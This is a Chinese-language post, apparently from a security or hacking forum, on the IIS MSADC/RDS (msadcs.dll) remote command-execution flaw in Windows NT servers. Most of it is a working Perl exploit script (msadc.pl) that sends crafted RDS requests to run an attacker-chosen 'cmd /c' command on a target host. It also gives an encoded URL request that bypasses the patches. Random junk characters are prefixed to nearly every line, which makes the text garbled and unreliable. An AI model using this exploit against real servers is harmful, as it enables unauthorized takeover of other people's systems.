IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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A 涉及程序:
5f_7&NxT Microsoft NT server
@vAFfYU9<. b n-=fb( 描述:
sTOFw;v% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CQ> ]jQ,2 4B$bj`h 详细:
WG%2<Q^ 如果你没有时间读详细内容的话,就删除:
B.K4!/cF c:\Program Files\Common Files\System\Msadc\msadcs.dll
3;Hd2 ;G 有关的安全问题就没有了。
2AK}D%jfc s0!kwrBsp 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
voh^|(:(TH J]\^QMX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
f3n~{a,[ 关于利用ODBC远程漏洞的描述,请参看:
u[EK#% yjpz_<7a= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm f_'"KF[% -tyaE 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
r*Z_+a8 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ? s4oDi|: (8x
gn 这里不再论述。
U>A6eWhH ImHU:iR[J- 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
jL_5]pzJ a8QfkOe /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
VDn:SGj5 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<kbnu7?a* Q>%E`h o9+Q{|r #将下面这段保存为txt文件,然后: "perl -x 文件名"
~U%j{8uH OG}KqG!n #!perl
,`)OEI|1d #
kfK[u/<i # MSADC/RDS 'usage' (aka exploit) script
(9'be\ #
4(|yD; # by rain.forest.puppy
0BDS_Rx #
pVz*ZQ[] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
PWG;&ma # beta test and find errors!
{(0Id ! +XQPjg use Socket; use Getopt::Std;
tqhh<u; getopts("e:vd:h:XR", \%args);
]}~4J.Yn EL +,jrU~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
4if\5 P:j nx$bM(. if (!defined $args{h} && !defined $args{R}) {
acae=c|X print qq~
zq=&4afOE Usage: msadc.pl -h <host> { -d <delay> -X -v }
JWWInuH -h <host> = host you want to scan (ip or domain)
U'M|=I' -d <seconds> = delay between calls, default 1 second
Bac| ;+L~L -X = dump Index Server path table, if available
T 9MzUV& -v = verbose
ArX]L$D -e = external dictionary file for step 5
yxY
h?ka +wA p,Xr Or a -R will resume a command session
vv*
|F |D+p$^L ~; exit;}
AysL-sqR 2Pz 5f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
D6:DrA: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
D-D# ` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I4:rie\hjC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_.-#E$6s#q $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8})|^%@n if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Gym#b{#": Ys%'#f if (!defined $args{R}){ $ret = &has_msadc;
B!iFmkCy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
UOJ*a1BM |?yE^$a print "Please type the NT commandline you want to run (cmd /c assumed):\n"
xD^wTtT . "cmd /c ";
pJ6Jx( $in=<STDIN>; chomp $in;
Rdj8*f $command="cmd /c " . $in ;
m-:8jA? !F=|*j if (defined $args{R}) {&load; exit;}
h$E\2lsE 6a "VCE] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
A8=e?% &try_btcustmr;
^n\9AE3 FQ;4'B^k] print "\nStep 2: Trying to make our own DSN...";
vGx?m@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
t/l! KdY$ KzEuPJ? print "\nStep 3: Trying known DSNs...";
w$w>N(e &known_dsn;
XNc"kp? z (|yRo print "\nStep 4: Trying known .mdbs...";
*(?U &known_mdb;
CL)1Q -X"5G
if (defined $args{e}){
ib5;f0Qa print "\nStep 5: Trying dictionary of DSN names...";
N?MJ#lC
F &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jngll _n-VgPRn print "Sorry Charley...maybe next time?\n";
Uq<a22t@ exit;
,!o\),N ?z \q Mu ##############################################################################
%8}WX@SB !Z<mrr;T@ sub sendraw { # ripped and modded from whisker
&+)+5z_d sleep($delay); # it's a DoS on the server! At least on mine...
W~XV my ($pstr)=@_;
WUE)SVf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sDaT[).Hm die("Socket problems\n");
}m=tzHB* if(connect(S,pack "SnA4x8",2,80,$target)){
KuIt[oM select(S); $|=1;
baUEsg[~V print $pstr; my @in=<S>;
x&hvFG3 select(STDOUT); close(S);
^@|<'g.R- return @in;
s)=!2A Y } else { die("Can't connect...\n"); }}
Zd[y+$> ?6gDbE% ##############################################################################
8!
|.H p 1S*8v 7 sub make_header { # make the HTTP request
aH5t.x79b my $msadc=<<EOT
p0}+071o% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,_"7|z wb User-Agent: ACTIVEDATA
,$MWk(S Host: $ip
"VT{1(]t Content-Length: $clen
#hy5c,}> Connection: Keep-Alive
)#b}qc#` IEno.i\ ADCClientVersion:01.06
tMD^$E"C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
n}AR/3} "W?l R4 --!ADM!ROX!YOUR!WORLD!
!L0E03')k Content-Type: application/x-varg
9}%~w(P Content-Length: $reqlen
)o
" SB1 2-"Lxe65f EOT
$4$?M[ ; $msadc=~s/\n/\r\n/g;
qHC*$v#.V? return $msadc;}
G:h;C].
SxLHFN] ##############################################################################
%T&&x2p^=? )9A<fwpN sub make_req { # make the RDS request
.v
#0cQX+. my ($switch, $p1, $p2)=@_;
dN$D6* my $req=""; my $t1, $t2, $query, $dsn;
4t+/ Azq#}Oe)u if ($switch==1){ # this is the btcustmr.mdb query
M@!]U:5~V $query="Select * from Customers where City=" . make_shell();
&dZ.+#8r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vjs|!O=oH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
QN2*]+/h JL]k:i^`A elsif ($switch==2){ # this is general make table query
VuO) $query="create table AZZ (B int, C varchar(10))";
$ sA~p_] $dsn="$p1";}
xvdnEaWe$ NR;S3-Iq( elsif ($switch==3){ # this is general exploit table query
W{$+mow7S $query="select * from AZZ where C=" . make_shell();
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